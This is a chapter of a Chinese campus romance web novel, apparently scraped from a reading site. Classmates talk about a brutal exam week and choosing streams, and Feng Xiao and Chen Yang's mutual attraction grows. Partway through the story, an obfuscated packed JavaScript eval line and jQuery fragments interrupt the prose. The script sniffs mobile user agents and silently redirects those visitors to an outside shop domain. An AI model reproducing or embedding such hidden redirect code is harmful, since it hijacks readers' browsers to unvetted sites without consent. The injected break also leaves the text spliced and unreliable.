惨绝人寰的考试周在紧张刺激的复习氛围下终于熬过去了,连他们两个班一大半的人都哭喊着题目简直是地狱级别的难度,尤其是数学和理化生。
化学考到一半的时候,整层楼都听见康兴锋拿着卷子在外面大发雷霆。
“哪个老师出的题?!高一能出这么难吗?我看他们学校的学生以后个个都是化学家!□□几十年的辉煌就全靠他们了!”
连康兴锋那样喜怒不形于色的老狐狸都忍不住骂人了,说明这次题目真的很难。
下午值班快结束的时候,钟向阳脸色惨白趴桌上问:“枫晓,你这次考得怎么样?”
“就......还好吧。”她揉揉眉心。
这次的难度确实已经超过了她的预期,当考完数学她就预感到事情的不对劲。
有道填空题她甚至只在丁程的数学竞赛辅导书上看到过,技巧性颇强,想到的一分钟就解决,想不到的抓破脑子都做不出来。
她现在就等成绩出来,然后比对一下所有人的成绩,虽然题目是有难度,但只有通过比较才知道究竟是自己技不如人还是题目出得太过偏僻的问题。
“连你都说这么勉强,那完了,我理科该不会考零分吧。”钟向阳犯难。
裴文泽拍了拍他的肩膀,“放宽心,咱们画画的反正学文科。”
这话提醒了枫晓,“泽哥,我们什么时候分文理?”
邹白把这次联考试卷从脸上拿下来,坐直身体说:“差不多在你们下学期期末考试之前就会选完文理。”
“那还有时间。”枫晓喃喃。
“你可是一班的,向来实验班都默认是理科班,枫晓你想读文?”
枫晓果断摇头,“不读文,我文科不占优势。”
她的文科水平一般,在他们班每次考试主要都是靠数学和三门理科拉分,所以选文这条路对她来说行不通,展现不出她的优势,而且她也没什么兴趣。
“不过文科班帅哥多。”邹白说:“白衣飘飘,西装斯文,温柔体贴,优雅沉稳,简直就是梦中情人。”
“哎呀今天太阳真刺眼,哦原来还是白天啊。”裴文泽一语惊醒梦中人。
钟向阳戳戳枫晓的手臂,两眼笑得亮晶晶的,说:“枫晓,你有没有想过找男朋友呀?”
“怎么突然问这个了?”
“找男朋友就找我们艺术生啊,长得帅,时间多,还有钱,不怕没时间造作。”
陈漾不容置喙地嗤笑一声,慢悠悠地说:“能有多帅?今天谈一个明天就换,三天是金婚的那种?”
“其实我们艺术班也有好男人的......”钟向阳辩解道,不过明显有些底气不足,因为他们班确实挺乱的。
到什么程度呢,差不多就是我喜欢你,你喜欢她,她跟她在一起,实际上她又喜欢他,可他在追他,后来他竟然喜欢我这种错综复杂的关系,就跟一团乱麻那样,越理越乱。
“这话我倒是信,人总不能一棍子都打死。”
毕竟看钟向阳和裴文泽两个人就知道学艺术的里面还是有特例存在的。
陈漾哼笑。
钟向阳总觉得陈漾似乎有点针对自己,可他想不出来为什么。
“不过我还是算了,毕竟还没成年,恋爱这种事情不太适合我,我更喜欢顺其自然。”她勉强笑道。
钟向阳回自己座位,发现陈漾脸色缓和了不少。
脑袋上顿时冒出几个巨大的问号。
邹白对枫晓和钟向阳说:“话题拉回来,下个月有公开课,李老师说到时候咱们部门的人得去拍照和录像,到时候得辛苦你们两个了。”
所谓公开课,其实就是一场精心彩排过的舞台剧,甚至连什么时候请哪一位同学请起回答问题,问题答案是什么,应该怎么回答,语调轻快,语速平缓,每个时间节点都被安排得明明白白。
“应该的。”
“好。”
回教室的途中,枫晓的脑子里一直在想物理最后一道大题。
考查的是机械运动和力学综合,由于前面的计算量较大,到最后时间分配失误,她只利用最后十五分钟就写完了三道小题。
想得正入神,突然手臂被人拉了一下,枫晓一个踉跄被吓了一大跳。
一个操场上打完球的男生面带歉意道:“不好意思哈,差点撞到你了。”
陈漾:“你眼睛不看人的吗?”
这话是对枫晓说的,枫晓微怔,她有个毛病,想事情想入神了就顾不得路上的人和物了。李珍老叫她走路别老盯着自己脚下,偶尔也要看一看眼前,别哪天掉臭水沟了都不知道。
枫晓心眼大了点,不重要的事情就自动忽略了,眼前最后那道大题才是最重要的,所以她连差点跟人撞个满怀都没意识到。
好在有陈漾在身边,保住了她脆弱的额头,依旧光滑饱满,没有多出个坑或者洞来。
陈漾拉着她纤细的手臂,他手心很热,枫晓穿上了长袖校服,里面是一件薄薄的短袖,炙热的温度透过棉料,烧得枫晓心里一颤。
不着痕迹地拉开两个人的距离,枫晓说:“不好意思,我在想事情。”
陈漾紧抿着唇,眸色骤然转深,眼里似乎藏有千言万语,最终却还是没有说话。
两个人继续往前走。
他拍了拍校服的褶子,假装自在,但语调别扭奇怪,跟绕了一百八十个弯那样崎岖,突然说:“想谁啊这么专注?”
枫晓“啊”了一下,顿时明白陈漾误会自己了,说:“在想这次考试物理最后一道大题,出得很有意思。你呢,考得怎么样?”
陈漾脸上有一丝裂开的痕迹。
很难得的表情。
也很有意思。
枫晓想。
末了,他像是被无语到,不过心情顿时放晴了,“枫晓同学,你是个学痴吗?”
“嗯?”
“梁桓宇说你是学习的怪物,我起初还不信,现在看来他说的不是没有道理。”
怪物?
怪物不都是那种两眼无神、嘴巴宽大、满嘴利牙,舌头能有三米长,嘴角滴着奇怪深绿色液体的形象吗?
她在他心里就长这样?
“我哪有。”枫晓略有不高兴。
她穿着再怎样简朴,但也是个十六岁的小女孩呀。
不至于多么漂亮,但起码正常吧。
陈漾只好说:“逗你玩的,以后不说了行不行?”
跟哄女朋友似的。
枫晓才不吃这套,何况她也就是开玩笑,只允许陈漾逗她,就不能她偶尔反击一次?
“我又没生气。”
陈漾耸肩。
话又说回来,他说:“你知不知道李老师经常在我们班夸你。”
这还真不知道。
枫晓歪头,“夸我什么?”
“还会是什么,成绩好。”陈漾笑:“不然你觉得能是什么,夸你漂亮吗?”
李巾帼身为三班班主任兼物理老师,花费了甚至比一般多出无数倍的心血,但结果没一个人物理成绩比得过一班的一名安静内敛的小女生。
能不气吗?她身为班主任,好歹也要给几分薄面吧?
明知道他只是调侃,枫晓脸颊“噌”地飞上两朵红霞,像一颗熟透的苹果。他这个人吧,平时很不爱笑,可是笑起来又很好看。
一双狭长的桃花眼温柔多情,宛若久久不放晴的日子里,突然有一天日光倾泻满屋,一瞬令美景失色,天地无光。
“也不是不行。”
反正都是夸奖的话,跟小的时候家里来亲戚,然后弯腰摸摸她的说:“晓晓怎么长得这么可爱,要是我女儿就好了”这种差不多,她不介意长大了被老师再夸一次。
陈漾失笑,像是十分无奈,“枫晓同学,你变了,怎么开始傲娇了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533992|138100||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
枫晓停住脚步,挺胸脯扬下巴,学着他的语气。
“陈漾同学,你今天喊了我好多次枫晓同学了。”
陈漾双手环胸,依旧笑看着她。
“不可以吗?”
她头一次知道,原来一向不苟言笑的陈漾也会如此厚脸皮。
果然,人不可貌相。
枫晓问:“为什么啊?”
“裴文泽喊你妹妹,梁桓宇喊你女侠,别人叫你枫晓,我不想跟他们一样,所以想叫你枫晓同学,这个理由可以过关吗?”
砰!砰!砰!
原来一个人的心跳可以跳得这么快。
她紧盯着眼前英俊意气风发的少年,世界在旋转,她快要窒息了。
周围还有其他同学三三两两地经过,枫晓终于找回一点自己的思绪。
低垂着头,两只手抱着课本,不安地抿唇,乖巧得不像话。
“这种理由离谱得就像是脚趾头想出来的。那个快上晚自习了,我先走了。”
时间转到周三。
“吴老师的公开课已经拍完了,你看下,我拍了很多不同角度的照片,还录了两个视频,应该可以交差了,我们接下来去哪个班?”枫晓跟吴三还有后排听课的老师们无声做了个打招呼的手势才悄悄从教室后门离开。
老师们会意,十分满意点头。
一个乖巧礼貌的学生到哪儿都招人喜欢,这点毋庸置疑,仍记得在六中的时候班上有个女生但凡在路上碰到一个老师都会停下来九十度鞠躬问好,就跟政治书里行为规范一模一样。
虽然同龄的同学不理解,但事实证明老师各个对其称赞,在班上多次点名表扬。
钟向阳:“这说明什么?”
枫晓说:“告诉我们鞠躬要九十度。”
钟向阳:?
“去三班吧,还剩李巾帼老师的物理公开课没拍,拍完我们今天的任务就完成了。”
“待会儿要去三班?”那就可以看见陈漾了。
枫晓有一瞬定住了脚步。
钟向阳回过头看向下面楼梯的她,“是啊,怎么了,正好就是陈漾那个班,你不知道?”
“没什么。”枫晓走上前去,说:“走吧。”
钟向阳不由得猜测,“枫晓,你跟陈漾有过节吗?怎么感觉你俩之间怪怪的。”
“啊?”枫晓望向他,脸上略带错愕。钟向阳看她这副表情还以为自己猜对了,连忙安慰:“你别往心里去,其实我也觉得陈漾不太喜欢我,虽然我不知道为什么,不过人这一生何其珍贵,生命只有一次,光阴似箭,要多让自己开心一点,这样到死了回忆这一生也是快乐居多,多么值得。”
钟向阳突然发出了这样深刻的感慨,他唇色比一般人都要淡很多,因为没什么血色整个人显得异常的白,听说是生病了,但具体是什么病不得而知。
刚开学就请了大半个月的假,应该不是普通就能治好的病。他身上总是散发着医院和中药的味道,肯定从小就已经习惯了往医院跑。
这一番话大概是联想到了自己的状况,所以对现在平淡的日子都格外享受和珍惜,因为活着本身就是一件很美好的事情。
尼采曾说,每一个不曾起舞的日子,都是对生命的辜负。所以在有限的时光里,要尽情去大笑,去冒险,去放风,去做一切狂热的绚烂的梦。
在梦里也不要忘记梦的乐趣和情致。
年幼不明白其中真谛,可当亲手触碰脆弱的生命时,方才懂得一切都有迹可循。
枫晓心里被什么东西触了一下,滩成了一片暖流。
“嗯,好。”她点头,“不过我想他不是不喜欢你,其实他这个人很别扭,不会表达自己的感情,也许是有什么误会,但他绝对没有恶意的,我了解他。”
钟向阳愣神,露出了天真的笑容。
两个坚韧的生命在这一刻懂得了彼此。